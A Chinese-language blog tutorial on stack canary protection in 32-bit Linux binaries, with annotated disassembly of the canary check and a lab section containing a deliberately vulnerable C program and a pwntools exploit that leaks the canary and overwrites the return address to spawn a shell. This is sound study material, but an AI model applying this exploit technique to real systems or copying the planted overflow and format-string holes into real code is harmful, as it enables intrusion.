记录一次完整的Canary保护
0x00 总述
最近跟着大佬的博客以及一些视频重新学习了下Canary保护,学到了一些其他的东西,在此记录下来的所学的东西,若有理解错误的地方希望大佬可以指正。
0x01 源代码
#include<stdio.h> int main() { char str[0x10]; read(0,str,0x20); printf("eur1ka %s."); return 0; }
0x02 编译生成可执行文件
1. 首先先关闭栈堆保护
gcc -no-pie -fno-stack-protector -m32 -o demo1 demo1.c//关闭堆栈保护

2. 在开启栈堆保护生成另一个可执行文件
gcc -no-pie -fstack-protector-all -m32 -o demo1 demo.c

0x03 对这两个文件调试
1. 首先对两个文件的main函数反汇编进行对比

在开启canary保护前后栈中数据存储格式如下:

在开启Canary保护后对边代码多出了几行,接下来我来说明下多出来这几行的意义:
前面几行
   0x080484ac <+17>:    mov    eax,gs:0x14  //将gs:0x14这个段中的数据(即canary的值)放到eax
   0x080484b2 <+23>:    mov    DWORD PTR [ebp-0xc],eax  //再将eax(canary)放到地址为[ebp-0xc]中
后面几行
   0x080484df <+68>:    mov    edx,DWORD PTR [ebp-0xc]  //将[ebp-0xc]中的数据(即之前放到栈上的canary)房贷edx寄存器中
   0x080484e2 <+71>:    xor    edx,DWORD PTR gs:0x14  //将正确的canary值与之前存放到栈上的canary进行异或比较
   0x080484e9 <+78>:    je     0x80484f0 <main+85>   //正确的话跳转到main函数中继续执行
   0x080484eb <+80>:    call   0x8048370 <__stack_chk_fail@plt>  //错误则跳转到__stack_chk_fail函数,程序执行错误
由以上我们可知,若数据发生溢出,之前存放到栈上的canary会发生变化,进而使程序崩溃结束执行
0x04 实战
这是我自己执行编译的一个程序,源代码和分析情况如下:
#include<stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> void getshell() { system("/bin/sh"); } void func() { char str[0x20]; read(0,str,0x50); printf(str); read(0,str,0x50); } void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } int main() { init(); func(); return 0; }
对func函数进行反汇编:
0x080485a0 <+0>: push ebp 0x080485a1 <+1>: mov ebp,esp //进入func函数的栈堆 0x080485a3 <+3>: sub esp,0x38 0x080485a6 <+6>: mov eax,gs:0x14 0x080485ac <+12>: mov DWORD PTR [ebp-0xc],eax 0x080485af <+15>: xor eax,eax //开启canary保护 0x080485b1 <+17>: sub esp,0x4 0x080485b4 <+20>: push 0x50 0x080485b6 <+22>: lea eax,[ebp-0x2c] 0x080485b9 <+25>: push eax 0x080485ba <+26>: push 0x0 0x080485bc <+28>: call 0x8048410 <read@plt> 0x080485c1 <+33>: add esp,0x10 0x080485c4 <+36>: sub esp,0xc 0x080485c7 <+39>: lea eax,[ebp-0x2c] 0x080485ca <+42>: push eax 0x080485cb <+43>: call 0x8048420 <printf@plt> 0x080485d0 <+48>: add esp,0x10 0x080485d3 <+51>: sub esp,0x4 0x080485d6 <+54>: push 0x50 0x080485d8 <+56>: lea eax,[ebp-0x2c] 0x080485db <+59>: push eax 0x080485dc <+60>: push 0x0 0x080485de <+62>: call 0x8048410 <read@plt> 0x080485e3 <+67>: add esp,0x10 0x080485e6 <+70>: nop 0x080485e7 <+71>: mov eax,DWORD PTR [ebp-0xc] 0x080485ea <+74>: xor eax,DWORD PTR gs:0x14 //检测canary的数据是否被破坏 0x080485f1 <+81>: je 0x80485f8 <func+88> 0x080485f3 <+83>: call 0x8048430 <__stack_chk_fail@plt> 0x080485f8 <+88>: leave 0x080485f9 <+89>: ret
我们可以知道,str占用了0x20个字节,将其填充玩之后紧接着就是canary的数据,如溢出则canary的数据会被修改,程序检测后会崩溃。则可以知道:payload=20个垃圾数据+canary+(offset_canary个垃圾数据)+gethsell.addr
注:offset_canary为canary距离返回函数地址的大小
我们使用gdb调试进行分析,在func函数下断点
我们找到canary的数据和函数返回地址:

计算出offset_canary为12接着我们构建完成payload并写出exp如下:
#coding:utf-8 from pwn import * context.log_level = 'debug' sh = process("./canary") getshell_addr=ELF("./canary").sym["getshell"] canary_offset = 12 payload = 'a'*0x20 sh.sendline(payload) sh.recvuntil(payload) canary=u32(sh.recv(4))-0x0a payload+=p32(canary) payload+='a'*12 payload+=p32(getshell_addr) sh.sendline(payload) sh.interactive()

 
                
             浙公网安备 33010602011771号
浙公网安备 33010602011771号